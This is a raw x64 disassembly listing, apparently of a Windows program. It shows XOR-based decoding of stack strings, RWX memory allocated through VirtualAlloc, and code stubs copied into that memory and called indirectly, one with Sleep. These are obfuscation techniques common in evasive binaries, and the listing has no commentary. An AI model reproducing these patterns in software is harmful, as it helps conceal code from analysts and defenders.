movdqa xmm5, xmmword [0x1400372b0]
movdqa xmm2, xmm5
punpckldq xmm2, xmm5
movdqa xmm1, xmm5
punpckhdq xmm1, xmm5
movdqa xmm3, xmm2
pmuldq xmm3, xmm12
movdqa xmm0, xmm1
pmuldq xmm0, xmm12
shufps xmm3, xmm0, 0xdd
psrad xmm3, 3
pmuldq xmm2, xmm13
pmuldq xmm1, xmm13
shufps xmm2, xmm1, 0xdd
paddd xmm2, xmm5
psrad xmm2, 6
movdqa xmm0, xmm2
psrld xmm0, 0x1f
paddd xmm0, xmm2
pmulld xmm0, xmmword [0x1400372d0]
movdqa xmm2, xmm5
psubd xmm2, xmm0
andps xmm2, xmm14
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movdqa xmm0, xmm3
psrld xmm0, 0x1f
paddd xmm0, xmm3
pmulld xmm0, xmm15
movdqa xmm1, xmm5
psubd xmm1, xmm0
andps xmm1, xmm14
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm2, xmm1
movd xmm0, eax
psubb xmm2, xmm0
movd xmm1, dword [rsp + 0x74]
xorps xmm2, xmm1
movd dword [rsp + 0x74], xmm2
mov r9d, 8
movsxd rax, r9d
lea r10, [rsp + 0x70]
add r10, rax
nop dword [rax + rax]
mov eax, 0x81020409
imul r9d
add edx, r9d
sar edx, 6
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul r8d, eax, 0x7f
mov eax, 0xec1dd343
imul r9d
sar edx, 3
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x67
sub cl, r8b
lea eax, [r9 - 3]
add al, al
add cl, al
xor byte [r10], cl
inc r9d
lea r10, [r10 + 1]
cmp r9d, 0xc
jl 0x140023c60
lea rax, [rsp + 0x70]
mov qword [rsp + 0x160], rax
lea rcx, [rsp + 0x170]
call fcn.140002540
lea rdx, [rsp + 0x16d8]
lea rcx, [rsp + 0x170]
call fcn.140002550
nop
mov ecx, esi
mov rax, qword [0x1400418b0]
test rax, rax
je 0x140023d19
mov rdx, rsi
cmp rax, r12
je 0x140023d08
inc ecx
mov edx, ecx
mov rax, qword [r15 + rcx*8 + 0x418b0]
test rax, rax
jne 0x140023cf0
jmp 0x140023d19
mov r8, qword [r15 + rdx*8 + 0x40280]
test r8, r8
jne 0x140023dff
mov edx, 0x1f4
xor ecx, ecx
mov r9d, 0x40
mov r8d, 0x1000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r8, rax
test rax, rax
jne 0x140023d42
mov r8, rsi
jmp 0x140023dde
mov rax, r12
mov rcx, r8
mov rdx, r13
nop dword [rax + rax]
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
lea rcx, [rcx + 0x80]
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx - 0x10], xmm1
lea rax, [rax + 0x80]
sub rdx, 1
jne 0x140023d50
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
mov eax, dword [rax + 0x70]
mov dword [rcx + 0x70], eax
mov rax, qword [0x140040c00]
mov qword [r15 + rax*8 + 0x418b0], r12
mov qword [r15 + rax*8 + 0x40280], r8
inc rax
mov qword [0x140040c00], rax
lea rdx, [rsp + 0x160]
lea rcx, [0x140001600]
call r8
nop
mov rcx, qword [rsp + 0x178]
xor rcx, qword [rsp + 0x170]
mov rax, qword [rsp + 0x180]
mov qword [rax], rcx
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [0x140036f80]
mov dword [rsp + 0x78], eax
movzx eax, word [0x140036f84]
mov word [rsp + 0x7c], ax
movzx eax, byte [0x140036f86]
movsd xmm0, qword [0x140036f78]
mov byte [rsp + 0x7e], al
movsd qword [rsp + 0x70], xmm0
mov r9d, esi
cmp edi, 2
jl 0x140023fed
movdqa xmm2, xmm11
punpckldq xmm2, xmm11
movdqa xmm1, xmm11
punpckhdq xmm1, xmm11
movdqa xmm3, xmm2
pmuldq xmm3, xmm12
movdqa xmm0, xmm1
pmuldq xmm0, xmm12
shufps xmm3, xmm0, 0xdd
psrad xmm3, 3
pmuldq xmm2, xmm13
pmuldq xmm1, xmm13
shufps xmm2, xmm1, 0xdd
paddd xmm2, xmm11
psrad xmm2, 6
movdqa xmm0, xmm2
psrld xmm0, 0x1f
paddd xmm0, xmm2
pmulld xmm0, xmmword [0x1400372d0]
movdqa xmm1, xmm11
psubd xmm1, xmm0
andps xmm1, xmm14
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movdqa xmm0, xmm3
psrld xmm0, 0x1f
paddd xmm0, xmm3
pmulld xmm0, xmm15
psubd xmm11, xmm0
andps xmm11, xmm14
packuswb xmm11, xmm11
packuswb xmm11, xmm11
paddb xmm1, xmm11
mov eax, dword [0x140037300]
movd xmm0, eax
psubb xmm1, xmm0
movd xmm0, dword [0x140036f78]
xorps xmm1, xmm0
movd dword [rsp + 0x70], xmm1
movdqa xmm5, xmmword [0x1400372b0]
movdqa xmm2, xmm5
punpckldq xmm2, xmm5
movdqa xmm1, xmm5
punpckhdq xmm1, xmm5
movdqa xmm3, xmm2
pmuldq xmm3, xmm12
movdqa xmm0, xmm1
pmuldq xmm0, xmm12
shufps xmm3, xmm0, 0xdd
psrad xmm3, 3
pmuldq xmm2, xmm13
pmuldq xmm1, xmm13
shufps xmm2, xmm1, 0xdd
paddd xmm2, xmm5
psrad xmm2, 6
movdqa xmm0, xmm2
psrld xmm0, 0x1f
paddd xmm0, xmm2
pmulld xmm0, xmmword [0x1400372d0]
movdqa xmm2, xmm5
psubd xmm2, xmm0
andps xmm2, xmm14
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movdqa xmm0, xmm3
psrld xmm0, 0x1f
paddd xmm0, xmm3
pmulld xmm0, xmm15
psubd xmm5, xmm0
andps xmm5, xmm14
packuswb xmm5, xmm5
packuswb xmm5, xmm5
paddb xmm2, xmm5
movd xmm0, eax
psubb xmm2, xmm0
movd xmm1, dword [rsp + 0x74]
xorps xmm2, xmm1
movd dword [rsp + 0x74], xmm2
mov r9d, 8
movsxd rax, r9d
lea r10, [rsp + 0x70]
add r10, rax
nop dword [rax + rax]
mov eax, 0x81020409
imul r9d
add edx, r9d
sar edx, 6
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul r8d, eax, 0x7f
mov eax, 0xec1dd343
imul r9d
sar edx, 3
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x67
sub cl, r8b
lea eax, [r9 - 3]
add al, al
add cl, al
xor byte [r10], cl
inc r9d
lea r10, [r10 + 1]
cmp r9d, 0xf
jl 0x140024000
lea rax, [rsp + 0x70]
mov qword [rsp + 0x160], rax
lea rcx, [rsp + 0x170]
call fcn.140002540
lea rdx, [rsp + 0x16d8]
lea rcx, [rsp + 0x170]
call fcn.140002550
nop
mov ecx, esi
mov rax, qword [0x1400418b0]
test rax, rax
je 0x1400240b9
mov rdx, rsi
cmp rax, r12
je 0x1400240a8
inc ecx
mov edx, ecx
mov rax, qword [r15 + rcx*8 + 0x418b0]
test rax, rax
jne 0x140024090
jmp 0x1400240b9
mov r8, qword [r15 + rdx*8 + 0x40280]
test r8, r8
jne 0x14002419f
mov edx, 0x1f4
xor ecx, ecx
mov r9d, 0x40
mov r8d, 0x1000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r8, rax
test rax, rax
jne 0x1400240e2
mov r8, rsi
jmp 0x14002417e
mov rax, r12
mov rcx, r8
mov rdx, r13
nop dword [rax + rax]
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
lea rcx, [rcx + 0x80]
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx - 0x10], xmm1
lea rax, [rax + 0x80]
sub rdx, 1
jne 0x1400240f0
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
mov eax, dword [rax + 0x70]
mov dword [rcx + 0x70], eax
mov rax, qword [0x140040c00]
mov qword [r15 + rax*8 + 0x418b0], r12
mov qword [r15 + rax*8 + 0x40280], r8
inc rax
mov qword [0x140040c00], rax
lea rdx, [rsp + 0x160]
lea rcx, [0x140001600]
call r8
nop
mov rcx, qword [rsp + 0x178]
xor rcx, qword [rsp + 0x170]
mov rax, qword [rsp + 0x180]
mov qword [rax], rcx
mov dword [rsp + 0x148], 0x3e8
lea rcx, [rsp + 0x170]
call fcn.140002540
lea rdx, [rsp + 0x16d8]
lea rcx, [rsp + 0x170]
call fcn.140002550
nop
mov ecx, esi
mov rax, qword [0x140041260]
lea rbx, [0x1400279d0]
test rax, rax
je 0x14002423c
mov rdx, rsi
cmp rax, rbx
je 0x14002422b
inc ecx
mov edx, ecx
mov rax, qword [r15 + rcx*8 + 0x41260]
test rax, rax
jne 0x140024213
jmp 0x14002423c
mov r10, qword [r15 + rdx*8 + 0x42ba0]
test r10, r10
jne 0x14002431f
mov edx, 0x1f4
xor ecx, ecx
mov r9d, 0x40
mov r8d, 0x1000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r10, rax
test rax, rax
jne 0x140024265
mov r10, rsi
jmp 0x1400242fe
mov rax, rbx
mov rcx, r10
nop dword [rax + rax]
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
lea rcx, [rcx + 0x80]
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx - 0x10], xmm1
lea rax, [rax + 0x80]
sub r13, 1
jne 0x140024270
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
mov eax, dword [rax + 0x70]
mov dword [rcx + 0x70], eax
mov rax, qword [0x1400418a0]
mov qword [r15 + rax*8 + 0x41260], rbx
mov qword [r15 + rax*8 + 0x42ba0], r10
inc rax
mov qword [0x1400418a0], rax
lea rdx, [rsp + 0x148]
mov rcx, qword [sym.imp.KERNEL32.dll_Sleep]
call r10
nop
mov rcx, qword [rsp + 0x178]
xor rcx, qword [rsp + 0x170]
mov rax, qword [rsp + 0x180]
mov qword [rax], rcx
mov qword [0], rsi
lea rcx, [rsp + 0x200]
call fcn.140026440
nop
lea rcx, [rsp + 0x258]
call fcn.140026440
nop
mov rcx, qword [rsp + 0x248]
xor rcx, qword [rsp + 0x240]
mov rax, qword [rsp + 0x250]
mov qword [rax], rcx
mov rcx, qword [rsp + 0x1610]
xor rcx, rsp
call fcn.140031740
lea r11, [rsp + 0x16c0]
mov rbx, qword [r11 + 0x20]
mov rsi, qword [r11 + 0x28]
mov rdi, qword [r11 + 0x30]
mov r12, qword [r11 + 0x38]
movaps xmm6, xmmword [r11 - 0x10]
movaps xmm7, xmmword [r11 - 0x20]
movaps xmm8, xmmword [r11 - 0x30]
movaps xmm9, xmmword [r11 - 0x40]
movaps xmm10, xmmword [r11 - 0x50]
movaps xmm11, xmmword [r11 - 0x60]
movaps xmm12, xmmword [r11 - 0x70]
movaps xmm13, xmmword [r11 - 0x80]
movaps xmm14, xmmword [r11 - 0x90]
movaps xmm15, xmmword [r11 - 0xa0]
mov rsp, r11
pop r15
pop r14
pop r13
ret